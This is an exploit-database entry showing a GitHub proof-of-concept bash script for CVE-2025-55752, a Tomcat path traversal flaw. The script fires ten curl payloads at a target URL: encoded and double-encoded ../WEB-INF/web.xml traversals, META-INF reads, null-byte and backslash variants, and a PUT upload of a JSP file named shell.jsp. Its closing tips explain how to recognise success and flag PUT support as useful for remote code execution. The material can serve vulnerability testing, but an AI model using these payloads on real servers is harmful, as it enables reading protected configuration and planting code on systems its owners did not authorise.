Exploit database

GH-95239af8ed8ccfdd3d956f9c70d7803d

masahiro331/cve-2025-55752

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-55752

2 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files2
masahiro331/cve-2025-55752Revision bf443477ef6e

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

docker/scripts/test_vulnerability.sh

Shell · 4,153 bytes
#!/bin/bash

# CVE-2025-55752 Vulnerability Testing Script
# Tests various path traversal payloads against vulnerable Tomcat

set -e

TARGET_URL="${1:-http://localhost:8080}"
OUTPUT_DIR="${2:-./results}"

# Color codes for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color

# Create output directory
mkdir -p "$OUTPUT_DIR"

echo -e "${BLUE}╔════════════════════════════════════════════════════════════════╗${NC}"
echo -e "${BLUE}║     CVE-2025-55752 Tomcat Path Traversal Vulnerability Test    ║${NC}"
echo -e "${BLUE}╚════════════════════════════════════════════════════════════════╝${NC}"
echo ""
echo -e "${YELLOW}Target: ${TARGET_URL}${NC}"
echo ""

# Test 1: Basic path traversal
echo -e "${YELLOW}[Test 1] Basic Path Traversal: ../WEB-INF/web.xml${NC}"
curl -s -o "$OUTPUT_DIR/test1_basic_traversal.html" \
     -w "\nStatus: %{http_code}\n" \
     "${TARGET_URL}/api/../WEB-INF/web.xml" || true
echo ""

# Test 2: URL-encoded path traversal
echo -e "${YELLOW}[Test 2] URL-Encoded Path Traversal: ..%2fWEB-INF%2fweb.xml${NC}"
curl -s -o "$OUTPUT_DIR/test2_encoded_traversal.html" \
     -w "\nStatus: %{http_code}\n" \
     "${TARGET_URL}/api/..%2fWEB-INF%2fweb.xml" || true
echo ""

# Test 3: Double-encoded path traversal
echo -e "${YELLOW}[Test 3] Double-Encoded Path Traversal: %252e%252e%252fWEB-INF%252fweb.xml${NC}"
curl -s -o "$OUTPUT_DIR/test3_double_encoded.html" \
     -w "\nStatus: %{http_code}\n" \
     "${TARGET_URL}/api/%252e%252e%252fWEB-INF%252fweb.xml" || true
echo ""

# Test 4: META-INF access
echo -e "${YELLOW}[Test 4] META-INF Access: ../META-INF/MANIFEST.MF${NC}"
curl -s -o "$OUTPUT_DIR/test4_metainf.html" \
     -w "\nStatus: %{http_code}\n" \
     "${TARGET_URL}/api/../META-INF/MANIFEST.MF" || true
echo ""

# Test 5: Handler with rewrite
echo -e "${YELLOW}[Test 5] Handler Rewrite with Path Parameter: /api/test${NC}"
curl -s -o "$OUTPUT_DIR/test5_handler_rewrite.html" \
     -w "\nStatus: %{http_code}\n" \
     "${TARGET_URL}/api/test" || true
echo ""

# Test 6: Handler with path traversal parameter
echo -e "${YELLOW}[Test 6] Handler Rewrite with Traversal: /api/../WEB-INF/web.xml${NC}"
curl -s -o "$OUTPUT_DIR/test6_handler_traversal.html" \
     -w "\nStatus: %{http_code}\n" \
     "${TARGET_URL}/api/../WEB-INF/web.xml" || true
echo ""

# Test 7: PUT request test (if enabled)
echo -e "${YELLOW}[Test 7] PUT Request Test (RCE potential): /api/shell.jsp${NC}"
curl -s -X PUT \
     -d '<%@ page import="java.io.*" %><% out.println("RCE Test"); %>' \
     -o "$OUTPUT_DIR/test7_put_response.html" \
     -w "\nStatus: %{http_code}\n" \
     "${TARGET_URL}/api/shell.jsp" || true
echo ""

# Test 8: Null byte injection (if applicable)
echo -e "${YELLOW}[Test 8] Null Byte Injection: /api/test%00.txt${NC}"
curl -s -o "$OUTPUT_DIR/test8_null_byte.html" \
     -w "\nStatus: %{http_code}\n" \
     "${TARGET_URL}/api/test%00.txt" || true
echo ""

# Test 9: Multiple traversal attempts
echo -e "${YELLOW}[Test 9] Multiple Traversal: /api/../../WEB-INF/web.xml${NC}"
curl -s -o "$OUTPUT_DIR/test9_multiple_traversal.html" \
     -w "\nStatus: %{http_code}\n" \
     "${TARGET_URL}/api/../../WEB-INF/web.xml" || true
echo ""

# Test 10: Backslash traversal (Windows)
echo -e "${YELLOW}[Test 10] Backslash Traversal: /api/..\\WEB-INF\\web.xml${NC}"
curl -s -o "$OUTPUT_DIR/test10_backslash.html" \
     -w "\nStatus: %{http_code}\n" \
     "${TARGET_URL}/api/..\\WEB-INF\\web.xml" || true
echo ""

echo -e "${GREEN}✓ Tests completed. Results saved to ${OUTPUT_DIR}${NC}"
echo ""
echo -e "${BLUE}Analysis Tips:${NC}"
echo "  1. Check if WEB-INF files are accessible (Status 200 instead of 403)"
echo "  2. Look for 'web-app' XML content in the response"
echo "  3. Status 200 with XML content indicates successful traversal"
echo "  4. Check test7 for PUT support (useful for RCE)"
echo ""